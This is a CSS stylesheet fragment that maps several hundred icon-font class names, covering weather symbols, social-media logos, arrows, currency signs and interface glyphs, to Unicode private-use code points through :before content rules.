.icon-brush-alt:before {
	content: "\e24a";
}
.icon-eyedropper:before {
	content: "\e24b";
}
.icon-layers-alt:before {
	content: "\e24c";
}
.icon-layers:before {
	content: "\e24d";
}
.icon-image-3:before {
	content: "\e24e";
}
.icon-camera-3:before {
	content: "\e24f";
}
.icon-aperture:before {
	content: "\e250";
}
.icon-aperture-alt:before {
	content: "\e251";
}
.icon-chart:before {
	content: "\e252";
}
.icon-chart-alt:before {
	content: "\e253";
}
.icon-bars-3:before {
	content: "\e254";
}
.icon-bars-alt:before {
	content: "\e255";
}
.icon-eye-3:before {
	content: "\e256";
}
.icon-user-5:before {
	content: "\e257";
}
.icon-home-4:before {
	content: "\e258";
}
.icon-clock-3:before {
	content: "\e259";
}
.icon-lock-stroke:before {
	content: "\e25a";
}
.icon-lock-fill:before {
	content: "\e25b";
}
.icon-unlock-stroke:before {
	content: "\e25c";
}
.icon-unlock-fill:before {
	content: "\e25d";
}
.icon-tag-stroke:before {
	content: "\e25e";
}
.icon-tag-fill:before {
	content: "\e25f";
}
.icon-sun-stroke:before {
	content: "\e260";
}
.icon-sun-fill:before {
	content: "\e261";
}
.icon-moon-stroke:before {
	content: "\e262";
}
.icon-moon-fill:before {
	content: "\e263";
}
.icon-cloud-2:before {
	content: "\e264";
}
.icon-rain:before {
	content: "\e265";
}
.icon-umbrella:before {
	content: "\e266";
}
.icon-star-4:before {
	content: "\e267";
}
.icon-map-pin-stroke:before {
	content: "\e268";
}
.icon-map-pin-fill:before {
	content: "\e269";
}
.icon-map-pin-alt:before {
	content: "\e26a";
}
.icon-target-2:before {
	content: "\e26b";
}
.icon-download-4:before {
	content: "\e26c";
}
.icon-upload-4:before {
	content: "\e26d";
}
.icon-cloud-download-2:before {
	content: "\e26e";
}
.icon-cloud-upload-2:before {
	content: "\e26f";
}
.icon-fork:before {
	content: "\e270";
}
.icon-paperclip:before {
	content: "\e271";
}
.icon-sunrise:before {
	content: "\e272";
}
.icon-sun:before {
	content: "\e273";
}
.icon-moon:before {
	content: "\e274";
}
.icon-sun-2:before {
	content: "\e275";
}
.icon-windy:before {
	content: "\e276";
}
.icon-wind:before {
	content: "\e277";
}
.icon-snowflake:before {
	content: "\e278";
}
.icon-cloudy:before {
	content: "\e279";
}
.icon-cloud-3:before {
	content: "\e27a";
}
.icon-weather:before {
	content: "\e27b";
}
.icon-weather-2:before {
	content: "\e27c";
}
.icon-weather-3:before {
	content: "\e27d";
}
.icon-lines:before {
	content: "\e27e";
}
.icon-cloud-4:before {
	content: "\e27f";
}
.icon-lightning-2:before {
	content: "\e280";
}
.icon-lightning-3:before {
	content: "\e281";
}
.icon-rainy:before {
	content: "\e282";
}
.icon-rainy-2:before {
	content: "\e283";
}
.icon-windy-2:before {
	content: "\e284";
}
.icon-windy-3:before {
	content: "\e285";
}
.icon-snowy:before {
	content: "\e286";
}
.icon-snowy-2:before {
	content: "\e287";
}
.icon-snowy-3:before {
	content: "\e288";
}
.icon-weather-4:before {
	content: "\e289";
}
.icon-cloudy-2:before {
	content: "\e28a";
}
.icon-cloud-5:before {
	content: "\e28b";
}
.icon-lightning-4:before {
	content: "\e28c";
}
.icon-sun-3:before {
	content: "\e28d";
}
.icon-moon-2:before {
	content: "\e28e";
}
.icon-cloudy-3:before {
	content: "\e28f";
}
.icon-cloud-6:before {
	content: "\e290";
}
.icon-cloud-7:before {
	content: "\e291";
}
.icon-lightning-5:before {
	content: "\e292";
}
.icon-rainy-3:before {
	content: "\e293";
}
.icon-rainy-4:before {
	content: "\e294";
}
.icon-windy-4:before {
	content: "\e295";
}
.icon-windy-5:before {
	content: "\e296";
}
.icon-snowy-4:before {
	content: "\e297";
}
.icon-snowy-5:before {
	content: "\e298";
}
.icon-weather-5:before {
	content: "\e299";
}
.icon-cloudy-4:before {
	content: "\e29a";
}
.icon-lightning-6:before {
	content: "\e29b";
}
.icon-thermometer:before {
	content: "\e29c";
}
.icon-compass-3:before {
	content: "\e29d";
}
.icon-none:before {
	content: "\e29e";
}
.icon-Celsius:before {
	content: "\e29f";
}
.icon-Fahrenheit:before {
	content: "\e2a0";
}
.icon-warning-2:before {
	content: "\e1c3";
}
.icon-cloud-8:before {
	content: "\e1c4";
}
.icon-locked:before {
	content: "\e22e";
}
.icon-inbox:before {
	content: "\e2a1";
}
.icon-comment:before {
	content: "\e2a2";
}
.icon-mic:before {
	content: "\e2a3";
}
.icon-envelope:before {
	content: "\e2a4";
}
.icon-briefcase-2:before {
	content: "\e2a5";
}
.icon-cart-4:before {
	content: "\e2a6";
}
.icon-contrast-2:before {
	content: "\e2a7";
}
.icon-clock-4:before {
	content: "\e2a8";
}
.icon-user-6:before {
	content: "\e2a9";
}
.icon-cog-4:before {
	content: "\e2aa";
}
.icon-music-2:before {
	content: "\e2ab";
}
.icon-twitter-4:before {
	content: "\e2ac";
}
.icon-pencil-3:before {
	content: "\e2ad";
}
.icon-frame:before {
	content: "\e2ae";
}
.icon-switch-2:before {
	content: "\e2af";
}
.icon-star-5:before {
	content: "\e2b0";
}
.icon-key-3:before {
	content: "\e2b1";
}
.icon-chart-2:before {
	content: "\e2b2";
}
.icon-apple-2:before {
	content: "\e2b3";
}
.icon-file-5:before {
	content: "\e2b4";
}
.icon-plus-3:before {
	content: "\e2b5";
}
.icon-minus-3:before {
	content: "\e2b6";
}
.icon-picture:before {
	content: "\e2b7";
}
.icon-folder-2:before {
	content: "\e2b8";
}
.icon-camera-4:before {
	content: "\e2b9";
}
.icon-search-2:before {
	content: "\e2ba";
}
.icon-dribbble-4:before {
	content: "\e2bb";
}
.icon-forrst-3:before {
	content: "\e2bc";
}
.icon-feed-5:before {
	content: "\e2bd";
}
.icon-blocked-2:before {
	content: "\e2be";
}
.icon-target-3:before {
	content: "\e2bf";
}
.icon-play-5:before {
	content: "\e2c0";
}
.icon-pause-4:before {
	content: "\e2c1";
}
.icon-bug-2:before {
	content: "\e2c2";
}
.icon-console-2:before {
	content: "\e2c3";
}
.icon-film-2:before {
	content: "\e2c4";
}
.icon-type:before {
	content: "\e2c5";
}
.icon-home-5:before {
	content: "\e2c6";
}
.icon-earth-2:before {
	content: "\e2c7";
}
.icon-location-3:before {
	content: "\e2c8";
}
.icon-info-4:before {
	content: "\e2c9";
}
.icon-eye-4:before {
	content: "\e2ca";
}
.icon-heart-3:before {
	content: "\e2cb";
}
.icon-bookmark-2:before {
	content: "\e2cc";
}
.icon-wrench-3:before {
	content: "\e2cd";
}
.icon-calendar-4:before {
	content: "\e2ce";
}
.icon-window:before {
	content: "\e2cf";
}
.icon-monitor:before {
	content: "\e2d0";
}
.icon-mobile-3:before {
	content: "\e2d1";
}
.icon-droplet-2:before {
	content: "\e2d2";
}
.icon-mouse:before {
	content: "\e2d3";
}
.icon-refresh:before {
	content: "\e2d4";
}
.icon-location-4:before {
	content: "\e2d5";
}
.icon-tag-2:before {
	content: "\e2d6";
}
.icon-phone-2:before {
	content: "\e2d7";
}
.icon-star-6:before {
	content: "\e2d8";
}
.icon-pointer:before {
	content: "\e2d9";
}
.icon-thumbs-up-3:before {
	content: "\e2da";
}
.icon-thumbs-down:before {
	content: "\e2db";
}
.icon-headphones-3:before {
	content: "\e2dc";
}
.icon-move-2:before {
	content: "\e2dd";
}
.icon-checkmark-4:before {
	content: "\e2de";
}
.icon-cancel:before {
	content: "\e2df";
}
.icon-skype-2:before {
	content: "\e2e0";
}
.icon-gift-2:before {
	content: "\e2e1";
}
.icon-cone:before {
	content: "\e2e2";
}
.icon-alarm-3:before {
	content: "\e2e3";
}
.icon-coffee:before {
	content: "\e2e4";
}
.icon-basket:before {
	content: "\e2e5";
}
.icon-flag-2:before {
	content: "\e2e6";
}
.icon-ipod:before {
	content: "\e2e7";
}
.icon-trashcan:before {
	content: "\e2e8";
}
.icon-bolt-2:before {
	content: "\e2e9";
}
.icon-ampersand-2:before {
	content: "\e2ea";
}
.icon-compass-4:before {
	content: "\e2eb";
}
.icon-list-4:before {
	content: "\e2ec";
}
.icon-grid:before {
	content: "\e2ed";
}
.icon-volume-2:before {
	content: "\e2ee";
}
.icon-volume-3:before {
	content: "\e2ef";
}
.icon-stats-2:before {
	content: "\e2f0";
}
.icon-target-4:before {
	content: "\e2f1";
}
.icon-forward-4:before {
	content: "\e2f2";
}
.icon-paperclip-2:before {
	content: "\e2f3";
}
.icon-keyboard-2:before {
	content: "\e2f4";
}
.icon-crop-2:before {
	content: "\e2f5";
}
.icon-floppy:before {
	content: "\e2f6";
}
.icon-filter-3:before {
	content: "\e2f7";
}
.icon-trophy-2:before {
	content: "\e2f8";
}
.icon-diary:before {
	content: "\e2f9";
}
.icon-address-book-2:before {
	content: "\e2fa";
}
.icon-stop-4:before {
	content: "\e2fb";
}
.icon-smiley-3:before {
	content: "\e2fc";
}
.icon-shit:before {
	content: "\e2fd";
}
.icon-bookmark-3:before {
	content: "\e2fe";
}
.icon-camera-5:before {
	content: "\e2ff";
}
.icon-lamp:before {
	content: "\e300";
}
.icon-disk-2:before {
	content: "\e301";
}
.icon-button:before {
	content: "\e302";
}
.icon-database:before {
	content: "\e303";
}
.icon-credit-card:before {
	content: "\e304";
}
.icon-atom:before {
	content: "\e305";
}
.icon-winsows:before {
	content: "\e306";
}
.icon-target-5:before {
	content: "\e307";
}
.icon-battery:before {
	content: "\e308";
}
.icon-code-2:before {
	content: "\e309";
}
.icon-renren:before {
	content: "\f18b";
}
.icon-weibo:before {
	content: "\f18a";
}
.icon-vk:before {
	content: "\f189";
}
.icon-bug-3:before {
	content: "\f188";
}
.icon-archive:before {
	content: "\f187";
}
.icon-moon-3:before {
	content: "\f186";
}
.icon-sun-4:before {
	content: "\f185";
}
.icon-gittip:before {
	content: "\f184";
}
.icon-male:before {
	content: "\f183";
}
.icon-female:before {
	content: "\f182";
}
.icon-trello:before {
	content: "\f181";
}
.icon-foursquare-3:before {
	content: "\f180";
}
.icon-skype-3:before {
	content: "\f17e";
}
.icon-dribbble-5:before {
	content: "\f17d";
}
.icon-linux:before {
	content: "\f17c";
}
.icon-android-2:before {
	content: "\f17b";
}
.icon-windows-2:before {
	content: "\f17a";
}
.icon-apple-3:before {
	content: "\f179";
}
.icon-long-arrow-right:before {
	content: "\f178";
}
.icon-long-arrow-left:before {
	content: "\f177";
}
.icon-long-arrow-up:before {
	content: "\f176";
}
.icon-long-arrow-down:before {
	content: "\f175";
}
.icon-tumblr-sign:before {
	content: "\f174";
}
.icon-tumblr-3:before {
	content: "\f173";
}
.icon-bitbucket-sign:before {
	content: "\f172";
}
.icon-bitbucket:before {
	content: "\f171";
}
.icon-adn:before {
	content: "\f170";
}
.icon-flickr-5:before {
	content: "\f16e";
}
.icon-instagram-2:before {
	content: "\f16d";
}
.icon-stackexchange:before {
	content: "\f16c";
}
.icon-dropbox:before {
	content: "\f16b";
}
.icon-youtube-play:before {
	content: "\f16a";
}
.icon-xing-sign:before {
	content: "\f169";
}
.icon-xing-3:before {
	content: "\f168";
}
.icon-youtube-3:before {
	content: "\f167";
}
.icon-youtube-sign:before {
	content: "\f166";
}
.icon-thumbs-down-2:before {
	content: "\f165";
}
.icon-thumbs-up-4:before {
	content: "\f164";
}
.icon-sort-by-order-alt:before {
	content: "\f163";
}
.icon-sort-by-order:before {
	content: "\f162";
}
.icon-sort-by-attributes-alt:before {
	content: "\f161";
}
.icon-sort-by-attributes:before {
	content: "\f160";
}
.icon-sort-by-alphabet-alt:before {
	content: "\f15e";
}
.icon-sort-by-alphabet:before {
	content: "\f15d";
}
.icon-file-text:before {
	content: "\f15c";
}
.icon-file-6:before {
	content: "\f15b";
}
.icon-bitcoin:before {
	content: "\f15a";
}
.icon-won:before {
	content: "\f159";
}
.icon-renminbi:before {
	content: "\f158";
}
.icon-yen:before {
	content: "\f157";
}
.icon-rupee:before {
	content: "\f156";
}
.icon-dollar:before {
	content: "\f155";
}
.icon-gbp:before {
	content: "\f154";
}
.icon-euro:before {
	content: "\f153";
}
.icon-expand-3:before {
	content: "\f152";
}
.icon-collapse-top:before {
	content: "\f151";
}
.icon-collapse:before {
	content: "\f150";
}
.icon-compass-5:before {
	content: "\f14e";
}
.icon-share-sign:before {
	content: "\f14d";
}
.icon-external-link-sign:before {
	content: "\f14c";
}
.icon-edit-sign:before {
	content: "\f14b";
}
.icon-check-sign:before {
	content: "\f14a";
}
.icon-level-down:before {
	content: "\f149";
}
.icon-level-up:before {
	content: "\f148";
}
.icon-check-minus:before {
	content: "\f147";
}
.icon-minus-sign-alt:before {
	content: "\f146";
}
.icon-ticket-2:before {
	content: "\f145";
}
.icon-play-sign:before {
	content: "\f144";
}
.icon-rss-sign:before {
	content: "\f143";
}
.icon-ellipsis-vertical:before {
	content: "\f142";
}
.icon-ellipsis-horizontal:before {
	content: "\f141";
}
.icon-bullseye:before {
	content: "\f140";
}
.icon-unlock-alt:before {
	content: "\f13e";
}
.icon-anchor:before {
	content: "\f13d";
}
.icon-css3-2:before {
	content: "\f13c";
}
.icon-html5-3:before {
	content: "\f13b";
}
.icon-chevron-sign-down:before {
	content: "\f13a";
}
.icon-chevron-sign-up:before {
	content: "\f139";
}
.icon-chevron-sign-right:before {
	content: "\f138";
}
.icon-chevron-sign-left:before {
	content: "\f137";
}
.icon-maxcdn:before {
	content: "\f136";
}
.icon-rocket-2:before {
	content: "\f135";
}
.icon-fire-extinguisher:before {
	content: "\f134";
}
.icon-calendar-empty:before {
	content: "\f133";
}
.icon-shield-2:before {
	content: "\f132";
}
.icon-microphone-off:before {
	content: "\f131";
}
.icon-microphone-2:before {
	content: "\f130";
}
.icon-puzzle:before {
	content: "\f12e";
}
.icon-eraser:before {
	content: "\f12d";
}
.icon-subscript:before {
	content: "\f12c";
}
.icon-superscript:before {
	content: "\f12b";
}
.icon-exclamation:before {
	content: "\f12a";
}
.icon-info-5:before {
	content: "\f129";
}
.icon-question-2:before {
	content: "\f128";
}
.icon-unlink:before {
	content: "\f127";
}
.icon-code-fork:before {
	content: "\f126";
}
.icon-crop-3:before {
	content: "\f125";
}
.icon-location-arrow:before {
	content: "\f124";
}
.icon-star-half-full:before {
	content: "\f123";
}
.icon-reply-all:before {
	content: "\f122";
}
.icon-code-3:before {
	content: "\f121";
}
.icon-terminal:before {
	content: "\f120";
}
.icon-flag-checkered:before {
	content: "\f11e";
}
.icon-flag-alt:before {
	content: "\f11d";
}
.icon-keyboard-3:before {
	content: "\f11c";
}
.icon-gamepad:before {
	content: "\f11b";
}
.icon-meh:before {
	content: "\f11a";
}
.icon-frown:before {
	content: "\f119";
}
.icon-smile:before {
	content: "\f118";
}
.icon-collapse-alt:before {
	content: "\f117";
}
.icon-expand-alt:before {
	content: "\f116";
}
.icon-folder-open-alt:before {
	content: "\f115";
}
.icon-folder-close-alt:before {
	content: "\f114";
}
.icon-github-alt:before {
	content: "\f113";
}
.icon-reply-2:before {
	content: "\f112";
}
.icon-circle:before {
	content: "\f111";
}
.icon-spinner-7:before {
	content: "\f110";
}
.icon-quote-right:before {
	content: "\f10e";
}
.icon-quote-left:before {
	content: "\f10d";
}
.icon-circle-blank:before {
	content: "\f10c";
}
.icon-mobile-4:before {
	content: "\f10b";
}
.icon-tablet-2:before {
	content: "\f10a";
}
.icon-laptop-2:before {
	content: "\f109";
}
.icon-desktop:before {
	content: "\f108";
}
.icon-angle-down:before {
	content: "\f107";
}
.icon-angle-up:before {
	content: "\f106";
}
.icon-angle-right:before {
	content: "\f105";
}
.icon-angle-left:before {
	content: "\f104";
}
.icon-double-angle-down:before {
	content: "\f103";
}
.icon-double-angle-up:before {
	content: "\f102";
}
.icon-double-angle-right:before {
	content: "\f101";
}
.icon-double-angle-left:before {
	content: "\f100";
}
.icon-plus-sign:before {
	content: "\f0fe";
}
.icon-h-sign:before {
	content: "\f0fd";
}
.icon-beer:before {
	content: "\f0fc";
}
.icon-fighter-jet:before {
	content: "\f0fb";
}
.icon-medkit:before {
	content: "\f0fa";
}
.icon-ambulance:before {
	content: "\f0f9";
}
.icon-hospital:before {
	content: "\f0f8";
}
.icon-building:before {
	content: "\f0f7";
}
.icon-file-alt:before {
	content: "\f0f6";
}
.icon-food-2:before {
	content: "\f0f5";
}
.icon-coffee-2:before {
	content: "\f0f4";
}
.icon-bell-alt:before {
	content: "\f0f3";
}
.icon-suitcase:before {
	content: "\f0f2";
}
.icon-stethoscope:before {
	content: "\f0f1";
}
.icon-user-md:before {
	content: "\f0f0";
}
.icon-cloud-upload-3:before {
	content: "\f0ee";
}
.icon-cloud-download-3:before {
	content: "\f0ed";
}
.icon-exchange:before {
	content: "\f0ec";
}
.icon-lightbulb-2:before {
	content: "\f0eb";
}
.icon-paste-4:before {
	content: "\f0ea";
}
.icon-umbrella-2:before {
	content: "\f0e9";
}
.icon-sitemap:before {
	content: "\f0e8";
}
.icon-bolt-3:before {
	content: "\f0e7";
}
.icon-comments-alt:before {
	content: "\f0e6";
}
.icon-comment-alt:before {
	content: "\f0e5";
}
.icon-dashboard-2:before {
	content: "\f0e4";
}
.icon-legal:before {
	content: "\f0e3";
}
.icon-undo-4:before {
	content: "\f0e2";
}
.icon-linkedin-2:before {
	content: "\f0e1";
}
.icon-envelope-alt:before {
	content: "\f0e0";
}
.icon-sort-up:before {
	content: "\f0de";
}
.icon-sort-down:before {
	content: "\f0dd";
}
.icon-sort:before {
	content: "\f0dc";
}
.icon-columns:before {
	content: "\f0db";
}
.icon-caret-right:before {
	content: "\f0da";
}
.icon-caret-left:before {
	content: "\f0d9";
}
.icon-caret-up:before {
	content: "\f0d8";
}
.icon-caret-down:before {
	content: "\f0d7";
}
.icon-money:before {
	content: "\f0d6";
}
.icon-google-plus-5:before {
	content: "\f0d5";
}
.icon-google-plus-sign:before {
	content: "\f0d4";
}
.icon-pinterest-sign:before {
	content: "\f0d3";
}
.icon-pinterest-3:before {
	content: "\f0d2";
}
.icon-truck-2:before {
	content: "\f0d1";
}
.icon-magic:before {
	content: "\f0d0";
}
.icon-table-3:before {
	content: "\f0ce";
}
.icon-underline-2:before {
	content: "\f0cd";
}
.icon-strikethrough-2:before {
	content: "\f0cc";
}
.icon-list-ol:before {
	content: "\f0cb";
}
.icon-list-ul:before {
	content: "\f0ca";
}
.icon-reorder:before {
	content: "\f0c9";
}
.icon-sign-blank:before {
	content: "\f0c8";
}
.icon-save:before {
	content: "\f0c7";
}
.icon-paper-clip:before {
	content: "\f0c6";
}
.icon-copy-4:before {
	content: "\f0c5";
}
.icon-cut:before {
	content: "\f0c4";
}
.icon-beaker-2:before {
	content: "\f0c3";
}
.icon-cloud-9:before {
	content: "\f0c2";
}
.icon-link-3:before {
	content: "\f0c1";
}
.icon-group:before {
	content: "\f0c0";
}
.icon-fullscreen-2:before {
	content: "\f0b2";
}
.icon-briefcase-3:before {
	content: "\f0b1";
}
.icon-filter-4:before {
	content: "\f0b0";
}
.icon-tasks:before {
	content: "\f0ae";
}
.icon-wrench-4:before {
	content: "\f0ad";
}
.icon-globe-2:before {
	content: "\f0ac";
}
.icon-circle-arrow-down:before {
	content: "\f0ab";
}
.icon-circle-arrow-up:before {
	content: "\f0aa";
}
.icon-circle-arrow-right:before {
	content: "\f0a9";
}
.icon-circle-arrow-left:before {
	content: "\f0a8";
}
.icon-hand-down:before {
	content: "\f0a7";
}
.icon-hand-up:before {
	content: "\f0a6";
}
.icon-hand-left:before {
	content: "\f0a5";
}
.icon-hand-right:before {
	content: "\f0a4";
}
.icon-certificate:before {
	content: "\f0a3";
}
.icon-bell-2:before {
	content: "\f0a2";
}
.icon-bullhorn-2:before {
	content: "\f0a1";
}
.icon-hdd:before {
	content: "\f0a0";
}
.icon-rss-2:before {
	content: "\f09e";
}
.icon-credit-2:before {
	content: "\f09d";
}
.icon-unlock:before {
	content: "\f09c";
}
.icon-github-6:before {
	content: "\f09b";
}
.icon-facebook-4:before {
	content: "\f09a";
}
.icon-twitter-5:before {
	content: "\f099";
}
.icon-phone-sign:before {
	content: "\f098";
}
.icon-bookmark-empty:before {
	content: "\f097";
}
.icon-check-empty:before {
	content: "\f096";
}
.icon-phone-3:before {
	content: "\f095";
}
.icon-lemon:before {
	content: "\f094";
}
.icon-upload-alt:before {
	content: "\f093";
}
.icon-github-sign:before {
	content: "\f092";
}
.icon-trophy-3:before {
	content: "\f091";
}
.icon-signin:before {
	content: "\f090";
}
.icon-external-link:before {
	content: "\f08e";
}
.icon-pushpin-2:before {
	content: "\f08d";
}
.icon-linkedin-sign:before {
	content: "\f08c";
}
.icon-signout:before {
	content: "\f08b";
}
.icon-heart-empty:before {
	content: "\f08a";
}
.icon-star-half:before {
	content: "\f089";
}
.icon-thumbs-down-3:before {
	content: "\f088";
}
.icon-thumbs-up-5:before {
	content: "\f087";
}
.icon-comments:before {
	content: "\f086";
}
.icon-cogs-2:before {
	content: "\f085";
}
.icon-key-4:before {
	content: "\f084";
}
.icon-camera-retro:before {
	content: "\f083";
}
.icon-facebook-sign:before {
	content: "\f082";
}
.icon-twitter-sign:before {
	content: "\f081";
}
.icon-bar-chart:before {
	content: "\f080";
}
.icon-resize-horizontal:before {
	content: "\f07e";
}
.icon-resize-vertical:before {
	content: "\f07d";
}
.icon-folder-open-2:before {
	content: "\f07c";
}
.icon-folder-close:before {
	content: "\f07b";
}
.icon-shopping-cart:before {
	content: "\f07a";
}
.icon-retweet:before {
	content: "\f079";
}
.icon-chevron-down:before {
	content: "\f078";
}
.icon-chevron-up:before {
	content: "\f077";
}
.icon-magnet-2:before {
	content: "\f076";
}
.icon-comment-2:before {
	content: "\f075";
}
.icon-random:before {
	content: "\f074";
}
.icon-calendar-5:before {
	content: "\f073";
}
.icon-plane:before {
	content: "\f072";
}
.icon-warning-sign:before {
	content: "\f071";
}
.icon-eye-close:before {
	content: "\f070";
}
.icon-eye-open:before {
	content: "\f06e";
}
.icon-fire-2:before {
	content: "\f06d";
}
.icon-leaf-2:before {
	content: "\f06c";
}
.icon-gift-3:before {
	content: "\f06b";
}
.icon-exclamation-sign:before {
	content: "\f06a";
}
.icon-asterisk:before {
	content: "\f069";
}
.icon-minus-4:before {
	content: "\f068";
}
.icon-plus-4:before {
	content: "\f067";
}
.icon-resize-small:before {
	content: "\f066";
}
.icon-resize-full:before {
	content: "\f065";
}
.icon-share-alt:before {
	content: "\f064";
}
.icon-arrow-down-5:before {
	content: "\f063";
}
.icon-arrow-up-5:before {
	content: "\f062";
}
.icon-arrow-right-5:before {
	content: "\f061";
}
.icon-arrow-left-5:before {
	content: "\f060";
}
.icon-ban-circle:before {
	content: "\f05e";
}
.icon-ok-circle:before {
	content: "\f05d";
}
.icon-remove-circle:before {
	content: "\f05c";
}
.icon-screenshot:before {
	content: "\f05b";
}
.icon-info-sign:before {
	content: "\f05a";
}
.icon-question-sign:before {
	content: "\f059";
}
.icon-ok-sign:before {
	content: "\f058";
}
.icon-remove-sign:before {
	content: "\f057";
}
.icon-minus-sign:before {
	content: "\f056";
}
.icon-plus-sign-2:before {
	content: "\f055";
}
.icon-chevron-right:before {
	content: "\f054";
}
.icon-chevron-left:before {
	content: "\f053";
}
.icon-eject-3:before {
	content: "\f052";
}
.icon-step-forward:before {
	content: "\f051";
}
.icon-fast-forward:before {
	content: "\f050";
}
.icon-forward-5:before {
	content: "\f04e";
}
.icon-stop-5:before {
	content: "\f04d";
}
.icon-pause-5:before {
	content: "\f04c";
}
.icon-play-6:before {
	content: "\f04b";
}
.icon-backward-3:before {
	content: "\f04a";
}
.icon-fast-backward:before {
	content: "\f049";
}
.icon-step-backward:before {
	content: "\f048";
}
.icon-move-3:before {
	content: "\f047";
}
.icon-check:before {
	content: "\f046";
}
.icon-share-3:before {
	content: "\f045";
}
.icon-edit:before {
	content: "\f044";
}
.icon-tint:before {
	content: "\f043";
}
.icon-adjust:before {
	content: "\f042";
}
.icon-map-marker:before {
	content: "\f041";
}
.icon-pencil-4:before {
	content: "\f040";
}
.icon-picture-2:before {
	content: "\f03e";
}
.icon-facetime-video:before {
	content: "\f03d";
}
.icon-indent-right:before {
	content: "\f03c";
}
.icon-indent-left:before {
	content: "\f03b";
}
.icon-list-5:before {
	content: "\f03a";
}
.icon-align-justify:before {
	content: "\f039";
}
.icon-align-right:before {
	content: "\f038";
}
.icon-align-center:before {
	content: "\f037";
}
.icon-align-left:before {
	content: "\f036";
}
.icon-text-width-2:before {
	content: "\f035";
}
.icon-text-height-2:before {
	content: "\f034";
}
.icon-italic-2:before {
	content: "\f033";
}
.icon-bold-2:before {
	content: "\f032";
}
.icon-font-2:before {
	content: "\f031";
}
.icon-camera-6:before {
	content: "\f030";
}
.icon-print-2:before {
	content: "\f02f";
}
.icon-bookmark-4:before {
	content: "\f02e";
}
.icon-book-3:before {
	content: "\f02d";
}
.icon-tags-2:before {
	content: "\f02c";
}
.icon-tag-3:before {
	content: "\f02b";
}
.icon-barcode-2:before {
	content: "\f02a";
}
.icon-qrcode-2:before {
	content: "\f029";
}
.icon-volume-up:before {
	content: "\f028";
}
.icon-volume-down:before {
	content: "\f027";
}
.icon-volume-off:before {
	content: "\f026";
}
.icon-headphones-4:before {
	content: "\f025";
}
.icon-flag-3:before {
	content: "\f024";
}
.icon-lock-3:before {
	content: "\f023";
}
.icon-list-alt:before {
	content: "\f022";
}
.icon-refresh-2:before {
	content: "\f021";
}
.icon-repeat:before {
	content: "\f01e";
}
.icon-play-circle:before {
	content: "\f01d";
}
.icon-inbox-2:before {
	content: "\f01c";
}
.icon-upload-5:before {
	content: "\f01b";
}
.icon-download-5:before {
	content: "\f01a";
}
.icon-download-alt:before {
	content: "\f019";
}
.icon-road-2:before {
	content: "\f018";
}
.icon-time:before {
	content: "\f017";
}
.icon-file-7:before {
	content: "\f016";
}
.icon-home-6:before {
	content: "\f015";
}
.icon-trash:before {
	content: "\f014";
}
.icon-cog-5:before {
	content: "\f013";
}
.icon-signal:before {
	content: "\f012";
}
.icon-off:before {
	content: "\f011";
}
.icon-zoom-out-2:before {
	content: "\f010";
}
.icon-zoom-in-2:before {
	content: "\f00e";
}
.icon-remove-3:before {
	content: "\f00d";
}
.icon-ok:before {
	content: "\f00c";
}
.icon-th-list:before {
	content: "\f00b";
}
.icon-th:before {
	content: "\f00a";
}
.icon-th-large:before {
	content: "\f009";
}
.icon-film-3:before {
	content: "\f008";
}
.icon-user-7:before {
	content: "\f007";
}
.icon-star-empty:before {
	content: "\f006";
}
.icon-star-7:before {
	content: "\f005";
}
.icon-heart-4:before {
	content: "\f004";
}
.icon-envelope-2:before {
	content: "\f003";
}
.icon-search-3:before {
	content: "\f002";
}
.icon-music-3:before {
	content: "\f001";
}
.icon-glass-2:before {
	content: "\f000";
}
.icon-smashing:before {
	content: "\e30a";
}
.icon-vk-2:before {
	content: "\e30b";
}
.icon-circles:before {
	content: "\e30c";
}
.icon-behance:before {
	content: "\e30d";
}
.icon-mixi:before {
	content: "\e30e";
}
.icon-soundcloud-3:before {
	content: "\e30f";
}
.icon-picasa:before {
	content: "\e310";
}
.icon-paypal-4:before {
	content: "\e311";
}
.icon-sina-weibo:before {
	content: "\e312";
}
.icon-renren-2:before {
	content: "\e313";
}
.icon-skype-4:before {
	content: "\e314";
}
.icon-skype-5:before {
	content: "\e315";
}
.icon-flattr-2:before {
	content: "\e316";
}
.icon-evernote:before {
	content: "\e317";
}
.icon-dropbox-2:before {
	content: "\e318";
}
.icon-instagram-3:before {
	content: "\e319";
}
.icon-qq:before {
	content: "\e31a";
}
.icon-spotify:before {
	content: "\e31b";
}
.icon-spotify-2:before {
	content: "\e31c";
}
.icon-rdio:before {
	content: "\e31d";
}
.icon-rdio-2:before {
	content: "\e31e";
}
.icon-lastfm-3:before {
	content: "\e31f";
}
.icon-lastfm-4:before {
	content: "\e320";
}
.icon-stumbleupon-3:before {
	content: "\e321";
}
.icon-stumbleupon-4:before {
	content: "\e322";
}
.icon-dribbble-6:before {
	content: "\e323";
}
.icon-dribbble-7:before {
	content: "\e324";
}
.icon-linkedin-3:before {
	content: "\e325";
}
.icon-linkedin-4:before {
	content: "\e326";
}
.icon-tumblr-4:before {
	content: "\e327";
}
.icon-tumblr-5:before {
	content: "\e328";
}
.icon-pinterest-4:before {
	content: "\e329";
}
.icon-pinterest-5:before {
	content: "\e32a";
}
.icon-googleplus:before {
	content: "\e32b";
}
.icon-googleplus-2:before {
	content: "\e32c";
}
.icon-facebook-5:before {
	content: "\e32d";
}
.icon-facebook-6:before {
	content: "\e32e";
}
.icon-facebook-7:before {
	content: "\e32f";
}
.icon-twitter-6:before {
	content: "\e330";
}
.icon-twitter-7:before {
	content: "\e331";
}
.icon-vimeo-3:before {
	content: "\e332";
}
.icon-vimeo-4:before {
	content: "\e333";
}
.icon-flickr-6:before {
	content: "\e334";
}
.icon-flickr-7:before {
	content: "\e335";
}
.icon-github-7:before {
	content: "\e336";
}
.icon-github-8:before {
	content: "\e337";
}
.icon-daniel-bruce:before {
	content: "\e338";
}
.icon-daniel-bruce-2:before {
	content: "\e339";
}
.icon-cc-share:before {
	content: "\e33a";
}
.icon-cc-share-2:before {
	content: "\e33b";
}
.icon-cc-zero:before {
	content: "\e33c";
}
.icon-cc-pd:before {
	content: "\e33d";
}
.icon-cc-nd:before {
	content: "\e33e";
}
.icon-cc-sa:before {
	content: "\e33f";
}
.icon-cc-nc-jp:before {
	content: "\e340";
}
.icon-cc-nc-eu:before {
	content: "\e341";
}
.icon-cc-nc:before {
	content: "\e342";
}
.icon-cc-by:before {
	content: "\e343";
}
.icon-cc:before {
	content: "\e344";
}
.icon-dot:before {
	content: "\e345";
}
.icon-dots:before {
	content: "\e346";
}
.icon-ellipsis:before {
	content: "\e347";
}
.icon-menu-3:before {
	content: "\e348";
}
.icon-arrow-right-6:before {
	content: "\e349";
}
.icon-arrow-up-6:before {
	content: "\e34a";
}
